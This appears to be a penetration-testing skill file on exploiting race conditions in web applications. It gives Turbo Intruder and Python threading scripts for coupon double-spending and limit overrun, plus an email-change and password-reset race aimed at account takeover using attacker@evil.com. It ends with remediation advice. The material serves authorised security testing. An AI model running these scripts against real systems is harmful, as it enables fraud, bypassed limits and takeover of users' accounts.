--- name: exploiting-race-condition-vulnerabilities description: Detect and exploit race condition vulnerabilities in web applications using Turbo Intruder's single-packet attack technique to bypass rate limits, duplicate transactions, and exploit time-of-check-to-time-of-use flaws. domain: cybersecurity subdomain: web-application-security tags: [race-condition, turbo-intruder, toctou, concurrency, single-packet-attack, limit-overrun, burp-suite] version: "1.0" author: mahipal license: Apache-2.0 --- # Exploiting Race Condition Vulnerabilities ## When to Use - When testing applications with transaction-based functionality (payments, transfers, coupons) - During assessment of rate-limiting or attempt-limiting mechanisms - When testing multi-step workflows (registration, password reset, MFA) - During bug bounty hunting for logic flaws in state-changing operations - When evaluating applications with inventory or balance management systems ## Prerequisites - Burp Suite Professional with Turbo Intruder extension installed - Understanding of HTTP/2 single-packet attack technique - Python scripting ability for custom Turbo Intruder scripts - Knowledge of TOCTOU (Time-of-Check-to-Time-of-Use) vulnerabilities - Target application with state-changing operations (purchases, votes, transfers) - Multiple user accounts for testing cross-user race conditions ## Workflow ### Step 1 — Identify Race Condition Attack Surface ``` # Common race condition targets: # - Coupon/discount code redemption (limit: 1 per user) # - Account balance transfers # - Inventory purchase (limited stock) # - Rate-limited operations (login attempts, SMS verification) # - Multi-step workflows (email change + password reset) # - File upload + processing pipelines # Capture the target request in Burp Suite # Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder) ``` ### Step 2 — Configure Single-Packet Attack in Turbo Intruder ```python # Turbo Intruder script for single-packet race condition # This sends all requests simultaneously in one TCP packet def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2) # Queue 20 identical requests for the same operation for i in range(20): engine.queue(target.req, gate='race1') # Hold all requests until ready engine.openGate('race1') def handleResponse(req, interesting): table.add(req) ``` ### Step 3 — Execute Limit Overrun Attack ```python # Turbo Intruder script for coupon/discount limit bypass def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, requestsPerConnection=50, engine=Engine.BURP2) # Send 50 coupon redemption requests simultaneously for i in range(50): engine.queue(target.req, gate='coupon_race') engine.openGate('coupon_race') def handleResponse(req, interesting): # Flag successful redemptions (200 OK) if req.status == 200: table.add(req) ``` ### Step 4 — Exploit Multi-Endpoint Race Conditions ```python # Race condition between two different endpoints # Example: Change email + trigger password reset simultaneously def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2) # Request 1: Change email to attacker@evil.com email_change = '''POST /api/change-email HTTP/2 Host: target.com Cookie: session=VALID_SESSION Content-Type: application/json {"email":"attacker@evil.com"}''' # Request 2: Trigger password reset (goes to original email) password_reset = '''POST /api/reset-password HTTP/2 Host: target.com Content-Type: application/json {"email":"victim@target.com"}''' engine.queue(email_change, gate='race1') engine.queue(password_reset, gate='race1') engine.openGate('race1') def handleResponse(req, interesting): table.add(req) ``` ### Step 5 — Test with Python Threading Alternative ```python import threading import requests TARGET_URL = "http://target.com/api/redeem-coupon" COUPON_CODE = "DISCOUNT50" SESSION_COOKIE = "session=abc123" def send_request(): response = requests.post( TARGET_URL, json={"coupon": COUPON_CODE}, headers={"Cookie": SESSION_COOKIE}, timeout=10 ) print(f"Status: {response.status_code}, Response: {response.text[:100]}") # Create barrier to synchronize thread start barrier = threading.Barrier(20) def synchronized_request(): barrier.wait() # All threads wait here, then start together send_request() threads = [threading.Thread(target=synchronized_request) for _ in range(20)] for t in threads: t.start() for t in threads: t.join() ``` ### Step 6 — Analyze Results and Confirm Exploitation ``` # In Turbo Intruder results: # - Sort by status code to identify successful requests # - Compare response lengths to find anomalies # - Check if more than one request succeeded (limit overrun confirmed) # - Verify backend state (balance, inventory, coupon count) # Document the race window timing # Successful race conditions typically require: # - HTTP/2 single-packet attack: ~30 seconds to find # - Last-byte sync (HTTP/1.1): ~2+ hours to find # - Thread-based approach: Variable, less reliable ``` ## Key Concepts | Concept | Description | |---------|-------------| | TOCTOU | Time-of-Check-to-Time-of-Use flaw where state changes between validation and action | | Single-Packet Attack | Sending multiple HTTP/2 requests in one TCP packet for precise synchronization | | Last-Byte Sync | HTTP/1.1 technique holding final byte of multiple requests then releasing simultaneously | | Limit Overrun | Exceeding one-time-use limits by exploiting race windows in validation logic | | Hidden State Machine | Exploiting transitional states in multi-step application workflows | | Gate Mechanism | Turbo Intruder feature that holds requests until all are queued, then releases simultaneously | | Connection Warming | Pre-establishing connections to reduce network jitter in race condition attacks | ## Tools & Systems | Tool | Purpose | |------|---------| | Turbo Intruder | Burp Suite extension for high-speed race condition exploitation | | Burp Suite Repeater | Group send feature for basic race condition testing | | Nuclei | Template-based scanner with race condition detection templates | | Python threading | Custom multi-threaded race condition scripts | | racepwn | Dedicated race condition testing framework | | asyncio/aiohttp | Python async HTTP for concurrent request sending | ## Common Scenarios 1. **Coupon Double-Spend** — Redeem a single-use coupon multiple times by sending concurrent redemption requests before the server marks it as used 2. **Balance Overdraft** — Transfer more money than available by sending simultaneous transfer requests that each pass the balance check 3. **MFA Bypass** — Submit multiple MFA codes simultaneously to bypass rate limiting on verification attempts 4. **Inventory Manipulation** — Purchase more items than available stock by exploiting race conditions in inventory decrement logic 5. **Account Registration Bypass** — Create multiple accounts with the same email by submitting concurrent registration requests ## Output Format ``` ## Race Condition Assessment Report - **Target**: http://target.com/api/redeem-coupon - **Technique**: HTTP/2 Single-Packet Attack via Turbo Intruder - **Concurrent Requests**: 20 - **Successful Exploitations**: 4 out of 20 ### Findings | # | Endpoint | Operation | Expected | Actual | Severity | |---|----------|-----------|----------|--------|----------| | 1 | POST /redeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High | | 2 | POST /transfer | Balance transfer | Limited by balance | Overdraft achieved | Critical | ### Race Window Analysis - HTTP/2 single-packet: Reliable exploitation in <30 seconds - Success rate: ~20% per batch of 20 requests - Race window estimated: 50-100ms ### Remediation - Implement database-level locking (SELECT FOR UPDATE) on critical operations - Use optimistic concurrency control with version numbers - Apply idempotency keys for state-changing requests - Implement distributed locks for multi-server environments ```